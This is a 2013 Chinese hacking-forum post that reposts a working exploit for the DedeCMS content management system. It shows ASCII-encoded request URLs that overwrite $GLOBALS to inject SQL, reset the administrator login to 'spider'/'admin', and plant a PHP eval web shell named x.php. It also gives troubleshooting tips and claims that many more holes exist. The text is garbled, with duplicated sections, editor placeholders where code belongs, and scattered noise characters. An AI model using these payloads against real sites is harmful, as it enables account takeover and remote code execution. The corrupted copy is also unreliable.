找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2554|回复: 0
打印 上一主题 下一主题

dedecms最新版本修改任意管理员漏洞+getshell+exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-9-21 16:08:21 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此漏洞无视gpc转义,过80sec注入防御。
) Y5 e9 N3 R4 R; R7 x补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
- c( @8 z: n# T/ B起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。* i& y; x* S5 f% P
include/dedesql.class.php
# e5 m+ {0 F6 k5 ~if(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。) c3 c9 o7 g. p+ x) e
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery2
( m% H' x& t" |' q. ^% N而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。3 j* _$ d2 x  q2 {0 U* V
plus/download.php
# Z, X2 I2 K/ G9 ~8 P% f0 Delse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):3 D$ R2 I+ O; t; D5 D$ ?( `
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
2 a3 j2 m3 _' R8 e. u( ^7 G+ m0 L# VUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:
+ u8 ?" C9 }* c' V6 }4 thttp://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin* K, @+ Q) M2 m; h
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。
- U# o1 i# V- S5 H如果找不到后台,参见以前修改数据库直接拿SHELL的方法( G* T9 B* H5 J9 S' S7 m
UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval(此漏洞无视gpc转义,过80sec注入防御。# a% k# X) Z4 Q  x. ?; L
补充下,不用担心后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到SHELL?
8 s6 u. B; O6 B& F  C6 d起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。4 ?% S" N3 V$ i% c/ q( T
include/dedesql.class.php
% a; O8 m# K1 y- yif(isset($GLOBALS['arrs1'])){    $v1 = $v2 = '';    for($i=0;isset($arrs1[$i]);$i++)    {        $v1 .= chr($arrs1[$i]);    }    for($i=0;isset($arrs2[$i]);$i++)    {        $v2 .= chr($arrs2[$i]);   //解码ascii    }    $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是+}function SetQuery($sql)    {        $prefix="#@__";        $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。        $this->queryString = $sql;    }另外说下绕过80sec防注入的方法。! N8 m. V) }, [- `  I- g% v$ k
同一文件中,有两个执行SQL的函数。ExecuteNoneQuery和ExecuteNoneQuery20 J$ K' Q) h, V" v+ u
而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的文件。
7 j4 n# G& e) ^4 U3 b; zplus/download.php
& [0 u) N: ~7 uelse if($open==1){    $id = isset($id) && is_numeric($id) ? $id : 0;    $link = base64_decode(urldecode($link));    $hash = md5($link);//这里的#@_是可以控制的    $rs = $dsql->ExecuteNoneQuery2("UPDATE `#@__downloads` SET downloads = downloads + 1 WHERE hash='$hash' ");    if($rs <= 0)     {         $query = " INSERT INTO `#@__downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);    }    header("locationlink");    exit();}构造SQL语句 (提交的时候用ascii加密,程序会帮我们自动解密的,所以无视gpc):4 G% m# l6 [- N- P0 P1 y% ]) A
admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #完整SQL语句:
; B! L( G3 X7 J, _3 yUPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads + 1 WHERE hash='$hash' EXP:5 g2 {5 [1 Y0 C6 a( l% z
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35如果不出问题,后台登录用户spider密码admin) ], ^  j% c( ^) l+ \% K
漏洞真的不止一处,各种包含,远程代码执行,很多,列位慢慢研究。+ R1 k- }+ A  ~: B2 S
如果找不到后台,参见以前修改数据库直接拿SHELL的方法
$ x4 Q9 T& W9 U___FCKpd___6getshell:9 B, P& t! a1 Y; A$ f
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35会在plus目录生成 x.php 密码 m4 w" Y: X' [0 a3 H! i
http://127.0.0.1/plus/x.php( A, X5 E3 f/ A/ r* F! `
update成功后还要访问下 /plus/mytag_js.php?aid=1, U  |1 e2 R- a- w; C& R6 j
失败原因:
6 c& q* K' `$ h* H测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)- G! M4 g% ~' _; `% C9 q0 H  m
配图:
3 g  N6 ~$ s1 o7 P% R) G! _9 Z1.查看dede当前版本
1 q# l6 V9 n8 a% |5 a* n% s5 D1 a7 R- o& ?4 q
2.执行exp
/ N5 ]5 W& p4 O3 E- ^" K2 p5 k6 ~; Q$ V# W% L4 b2 x
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
9 s9 _/ |! y, W, U! L
' W  S8 i  V) H0 c) t: z. uspider密码admin
/ M% T; t# a& e9 S# z4 Q" {: M5 c% y9 i0 h3 i
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png4 n7 E+ i' f) h4 s# |
原作者:imspider
% j, x# m- Y7 a( U
' \; j2 y0 b& J: b- @+ t本博客测试+配图+getshell0 U+ \; P5 }' ^2 W
POST[spider]);?-->'');{/dede:php}' WHERE `aid` =1 LIMIT $ S4 S9 B* k! Y1 ~5 G# Z

: Y2 ~( ?0 s1 I1 U4 Z: ^% B# m! H9 U* t/ d# Cgetshell:- e! c% y) _# E% |# Q# ^7 v
___FCKpd___7会在plus目录生成 x.php 密码 m, G( Q2 Q- J# |8 Q. m* i! ~* i
http://127.0.0.1/plus/x.php2 @' H6 G/ @( H2 @
update成功后还要访问下 /plus/mytag_js.php?aid=1
7 L/ ?8 V7 b0 o失败原因:! l9 n* R: C: |% q! o
测试发现,如果aid为空或已经生成过一次,则会写shell失败….更改倒数第三个ascii改变改变aid(即&arrs2[]=49)
/ H7 _+ w/ Y0 |; s3 R1 H9 X配图:1 l$ b$ ?- g5 y4 B9 J1 R
1.查看dede当前版本
5 ~( p" ]) q% u* Dhttp://www.myhack58.com/Article/UploadPic/2013-9/20139913326739.png
  y5 s6 N/ r$ S2 t: ^: e7 N2.执行exp8 f8 i# n( a! a. w8 W
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327683.png3.测试登陆后台
: I" k5 l  r: ]( espider密码admin) ^! M' f2 v' q
http://www.myhack58.com/Article/UploadPic/2013-9/20139913327762.png
+ F& o- U0 g3 C
* _, P0 ?' d! @5 v, p/ w/ D9 \& q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表